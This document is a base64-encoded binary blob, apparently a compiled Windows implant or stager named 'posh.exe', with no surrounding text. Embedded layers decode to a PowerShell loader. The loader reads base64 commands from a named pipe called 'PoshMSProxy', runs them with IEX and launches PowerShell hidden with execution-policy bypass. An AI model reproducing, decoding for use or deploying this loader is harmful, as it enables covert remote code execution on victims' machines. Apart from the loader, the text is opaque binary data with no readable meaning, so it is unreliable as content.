BBAEMANABBAFUAdwBCADAAQQBIAEkAQQBaAFEAQgBoAEEARwAwAEEAVQBnAEIAbABBAEcARQBBAFoAQQBCAGwAQQBIAEkAQQBLAEEAQQBrAEEASABBAEEAYQBRAEEAcABBAEQAcwBBAEkAQQBBAE4AQQBBAG8AQQBKAEEAQgB5AEEAQwBBAEEAUABRAEEAZwBBAEMAUQBBAGMAQQBCAHkAQQBDADQAQQBVAGcAQgBsAEEARwBFAEEAWgBBAEIATQBBAEcAawBBAGIAZwBCAGwAQQBDAGcAQQBLAFEAQQBnAEEAQwAwAEEAYwBnAEIAbABBAEgAQQBBAGIAQQBCAGgAQQBHAE0AQQBaAFEAQQBnAEEAQwBJAEEAYwBBAEIAdgBBAEgAYwBBAFoAUQBCAHkAQQBIAE0AQQBhAEEAQgBsAEEARwB3AEEAYgBBAEEAZwBBAEMAMABBAFoAUQBCADQAQQBHAFUAQQBZAHcAQQBnAEEARwBJAEEAZQBRAEIAdwBBAEcARQBBAGMAdwBCAHoAQQBDAEEAQQBMAFEAQgBPAEEARwA4AEEAYgBnAEIAcABBAEcANABBAGQAQQBCAGwAQQBIAEkAQQBZAFEAQgBqAEEASABRAEEAYQBRAEIAMgBBAEcAVQBBAEkAQQBBAHQAQQBIAGMAQQBhAFEAQgB1AEEARwBRAEEAYgB3AEIAMwBBAEgATQBBAGQAQQBCADUAQQBHAHcAQQBaAFEAQQBnAEEARwBnAEEAYQBRAEIAawBBAEcAUQBBAFoAUQBCAHUAQQBDAEEAQQBMAFEAQgBsAEEAQwBBAEEASQBnAEEAcwBBAEMASQBBAEkAZwBBAE4AQQBBAG8AQQBTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFUAdwBCADUAQQBIAE0AQQBkAEEAQgBsAEEARwAwAEEATABnAEIAVQBBAEcAVQBBAGUAQQBCADAAQQBDADQAQQBSAFEAQgB1AEEARwBNAEEAYgB3AEIAawBBAEcAawBBAGIAZwBCAG4AQQBGADAAQQBPAGcAQQA2AEEARgBVAEEAVABnAEIASgBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBMAGcAQgBIAEEARwBVAEEAZABBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEARgBzAEEAVQB3AEIANQBBAEgATQBBAGQAQQBCAGwAQQBHADAAQQBMAGcAQgBEAEEARwA4AEEAYgBnAEIAMgBBAEcAVQBBAGMAZwBCADAAQQBGADAAQQBPAGcAQQA2AEEARQBZAEEAYwBnAEIAdgBBAEcAMABBAFEAZwBCAGgAQQBIAE0AQQBaAFEAQQAyAEEARABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQQBrAEEASABJAEEASwBRAEEAcABBAEMAawBBAACHgVkAUQBCAGsAQQBHAFEAQQBMAFEAQgBVAEEASABrAEEAYwBBAEIAbABBAEMAQQBBAEwAUQBCAGgAQQBIAE0AQQBjAHcAQgBsAEEARwAwAEEAWQBnAEIAcwBBAEgAawBBAEkAQQBBAGkAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFEAdwBCAHYAQQBIAEkAQQBaAFEAQQBpAEEARABzAEEASQBBAEEATgBBAEEAbwBBAEoAQQBCAHcAQQBHAGsAQQBJAEEAQQA5AEEAQwBBAEEAYgBnAEIAbABBAEgAYwBBAEwAUQBCAHYAQQBHAEkAQQBhAGcAQgBsAEEARwBNAEEAZABBAEEAZwBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAUwBRAEIAUABBAEMANABBAFUAQQBCAHAAQQBIAEEAQQBaAFEAQgB6AEEAQwA0AEEAVABnAEIAaABBAEcAMABBAFoAUQBCAGsAQQBGAEEAQQBhAFEAQgB3AEEARwBVAEEAUQB3AEIAcwBBAEcAawBBAFoAUQBCAHUAQQBIAFEAQQBVAHcAQgAwAEEASABJAEEAWgBRAEIAaABBAEcAMABBAEsAQQBBAG4AQQBGAEEAQQBiAHcAQgB6AEEARwBnAEEAVABRAEIAVABBAEYAQQBBAGMAZwBCAHYAQQBIAGcAQQBlAFEAQQBuAEEAQwBrAEEATwB3AEEAZwBBAEEAMABBAEMAZwBBAGsAQQBIAEEAQQBhAFEAQQB1AEEARQBNAEEAYgB3AEIAdQBBAEcANABBAFoAUQBCAGoAQQBIAFEAQQBLAEEAQQBwAEEARABzAEEARABRAEEASwBBAEMAUQBBAGMAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEARwA0AEEAWgBRAEIAMwBBAEMAMABBAGIAdwBCAGkAQQBHAG8AQQBaAFEAQgBqAEEASABRAEEASQBBAEIAVABBAEgAawBBAGMAdwBCADAAQQBHAFUAQQBiAFEAQQB1AEEARQBrAEEAVAB3AEEAdQBBAEYATQBBAGQAQQBCAHkAQQBHAFUAQQBZAFEAQgB0AEEARgBJAEEAWgBRAEIAaABBAEcAUQBBAFoAUQBCAHkAQQBDAGcAQQBKAEEAQgB3AEEARwBrAEEASwBRAEEANwBBAEMAQQBBAEQAUQBBAEsAQQBDAFEAQQBjAGcAQQBnAEEARAAwAEEASQBBAEEAawBBAEgAQQBBAGMAZwBBAHUAQQBGAEkAQQBaAFEAQgBoAEEARwBRAEEAVABBAEIAcABBAEcANABBAFoAUQBBAG8AQQBDAGsAQQBJAEEAQQB0AEEASABJAEEAWgBRAEIAdwBBAEcAdwBBAFkAUQBCAGoAQQBHAFUAQQBJAEEAQQBpAEEASABBAEEAYgB3AEIAMwBBAEcAVQBBAGMAZwBCAHoAQQBHAGcAQQBaAFEAQgBzAEEARwB3AEEASQBBAEEAdABBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBJAEEAQgBpAEEASABrAEEAYwBBAEIAaABBAEgATQBBAGMAdwBBAGcAQQBDADAAQQBUAGcAQgB2AEEARwA0AEEAYQBRAEIAdQBBAEgAUQBBAFoAUQBCAHkAQQBHAEUAQQBZAHcAQgAwAEEARwBrAEEAZABnAEIAbABBAEMAQQBBAEwAUQBCADMAQQBHAGsAQQBiAGcAQgBrAEEARwA4AEEAZAB3AEIAegBBAEgAUQBBAGUAUQBCAHMAQQBHAFUAQQBJAEEAQgBvAEEARwBrAEEAWgBBAEIAawBBAEcAVQBBAGIAZwBBAGcAQQBDADAAQQBaAFEAQQBnAEEAQwBJAEEATABBAEEAaQBBAEMASQBBAEQAUQBBAEsAQQBFAGsAQQBSAFEAQgBZAEEAQwBBAEEASwBBAEIAYgBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAVgBBAEIAbABBAEgAZwBBAGQAQQBBAHUAQQBFAFUAQQBiAGcAQgBqAEEARwA4AEEAWgBBAEIAcABBAEcANABBAF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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAwAAAAQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxGb9ETuZAu/////8AAAAAAQAAALAqABAKAAAAAAAAAAQAAoAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAIAWTGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAMAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAgAAKCgoAAAD/////AAAAAEhQARABAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAA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